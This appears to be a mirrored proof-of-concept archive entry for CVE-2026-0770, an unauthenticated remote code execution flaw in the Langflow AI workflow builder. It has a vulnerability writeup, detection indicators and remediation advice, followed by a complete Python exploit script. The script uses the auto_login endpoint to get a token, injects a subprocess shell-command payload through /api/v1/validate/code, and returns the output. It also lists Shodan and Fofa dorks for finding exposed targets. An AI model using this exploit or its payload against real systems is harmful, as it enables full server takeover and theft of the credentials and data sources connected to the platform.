PoC Archive PoC Archive
Critical CVE-2026-0770 patched

Langflow Unauthenticated Remote Code Execution via `validate/code` Endpoint (CVE-2026-0770)

by Diamorphine · 2026-07-05

Severity
Critical
CVE
CVE-2026-0770
Category
web
Affected product
Langflow (AI workflow builder)
Affected versions
< 1.3.0 (tested against 1.2.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherDiamorphine
CVE / AdvisoryCVE-2026-0770
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagslangflow, rce, unauthenticated, python, code-validation, exec, ai-platform, api
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow (AI workflow builder)
Versions Affected< 1.3.0 (tested against 1.2.0)
Language / PlatformPython (PoC); Langflow server (Python/FastAPI backend)
Authentication RequiredNo (auto-login bypass supported; optional creds flow also included)
Network Access RequiredYes

Summary

Langflow exposes an API endpoint (/api/v1/validate/code) that is meant to validate user-submitted Python “component” code before it runs inside a workflow. The endpoint evaluates the submitted code using exec() with an exec_globals context that is not sufficiently sandboxed, so arbitrary Python — including OS command execution via subprocess — runs on the server. The included PoC crafts a small Python snippet that shells out to run an operator-supplied command and smuggles the command’s stdout/stderr back to the attacker by raising it as a validation error message, which the API happily returns in its JSON response. Because Langflow ships an /api/v1/auto_login endpoint that hands out a valid access token with no credentials, the exploit works fully unauthenticated by default, with an optional username/password login path for locked-down instances.


Vulnerability Details

Root Cause

The /api/v1/validate/code endpoint passes attacker-controlled Python source to a code-execution/validation routine that calls exec() without isolating dangerous builtins or the import system. Wrapping a subprocess.run(..., shell=True) call inside a lambda default-argument trick lets the code execute immediately during function definition evaluation, and the result is exfiltrated through the validator’s own error-reporting field.

Attack Vector

  1. Attacker sends GET /api/v1/auto_login to obtain a valid bearer token without credentials (or authenticates normally if auto-login is disabled).
  2. Attacker crafts a Python code string defining a function whose default argument executes subprocess.run(<attacker command>, shell=True) and raises the captured stdout/stderr as an exception.
  3. Attacker POSTs this code to /api/v1/validate/code with the bearer token.
  4. The server executes the code via exec(), the “exploit” function’s default-argument evaluation runs the command, and the resulting output is embedded in the validation error returned in the JSON response body.
  5. Attacker parses function.errors[0] from the response to read command output — full RCE as the Langflow server process (commonly root in container deployments).

Impact

Complete remote code execution on the Langflow host with no authentication required, exposing any credentials, API keys, or connected data sources configured in the platform.


Environment / Lab Setup

Target:   Langflow < 1.3.0 (e.g. v1.2.0) reachable on TCP/7860
Attacker: Python 3 with httpx installed (pip install httpx)

Proof of Concept

PoC Script

See CVE-2026-0770.py in this folder.

1
2
python3 CVE-2026-0770.py -u 127.0.0.1 -c id
python3 CVE-2026-0770.py -u 127.0.0.1 -l <username> -p <password> -c "id"

The script authenticates (via auto-login or supplied credentials), submits a crafted code-validation payload embedding the requested shell command, and prints the command output extracted from the API’s validation error message.


Detection & Indicators of Compromise

POST /api/v1/validate/code HTTP/1.1
GET /api/v1/auto_login HTTP/1.1

Signs of compromise:

  • Unexpected POST requests to /api/v1/validate/code containing subprocess, os.system, or __import__ in the request body.
  • Repeated or scripted GET /api/v1/auto_login calls from unfamiliar source IPs.
  • Unexplained child processes spawned by the Langflow server process (e.g. sh -c, id, whoami).

Remediation

ActionDetail
Primary fixUpgrade to Langflow 1.3.0 or later, where the code-validation endpoint sandboxing/authentication was hardened
Interim mitigationDisable or restrict /api/v1/auto_login, require authentication on all API endpoints, and place Langflow behind a network boundary not directly reachable by untrusted clients

References


Notes

Mirrored from https://github.com/diamorphine666/CVE-2026-0770 on 2026-07-05.

CVE-2026-0770.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

# Exploit Title: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
# Fofa-dork: title="Langflow"
# Shodan-dork: title:"Langflow"
# Date: 23-05-2026
# Exploit Author: Diamorphine
# Venodor Homepage: https://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: 1.2.0
# Tested on: Debian
# CVE : CVE-2026-0770
# Description:  Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
# Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] 


import httpx
import asyncio
import subprocess
import json
import sys
import argparse


def auth(host, username, password):
    with httpx.Client(verify=False) as client:
        data = {
            'username': username,
            'password': password
        }
        r = client.post(url=f'http://{host}:7860/api/v1/login', data=data)
        res = r.json()
        access_token = res["access_token"]

    return access_token

async def exec_auth(host, username, password, cmd):
    async with httpx.AsyncClient(verify=False) as client:
        headers = {
            'Authorization': f'Bearare {auth(host, username, password)}' 
        }
        
        data = {
            "code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd
        }   
        
        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)
        r_out = r.text
        output = json.loads(r_out)
        value = output['function']
        try:
            print(value['errors'][0])
        except IndexError:
            print("Index out of range")

async def exec_without_auth(host, cmd):
    async with httpx.AsyncClient(verify=False) as client:
        req = await client.get(url=f'http://{host}:7860/api/v1/auto_login')
        res = req.json()
        access_token = res["access_token"]
        headers = {
            'Authorization': f'Bearare {access_token}'
        }

        data = {
            "code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd
        }

        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)
        r_out = r.text
        output = json.loads(r_out)
        value = output['function']
        try:
            print(value['errors'][0])
        except IndexError:
            print("Index out of range")

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow")
parser.add_argument('-u', '--host', required=True, help="Target host, e.g 127.0.0.1")
parser.add_argument('-l', '--login', help="Username for login, e.g user (If auto login not enabled)")
parser.add_argument('-p', '--password', help="Password for login, e.g password (If auto login not enabled)")
parser.add_argument('-c', '--command', default='id', help="Command for execute, e.g id, default: id")

args = parser.parse_args()

if args.login and args.password:
    asyncio.run(exec_auth(args.host, args.login, args.password, args.command))
else:
    asyncio.run(exec_without_auth(args.host, args.command))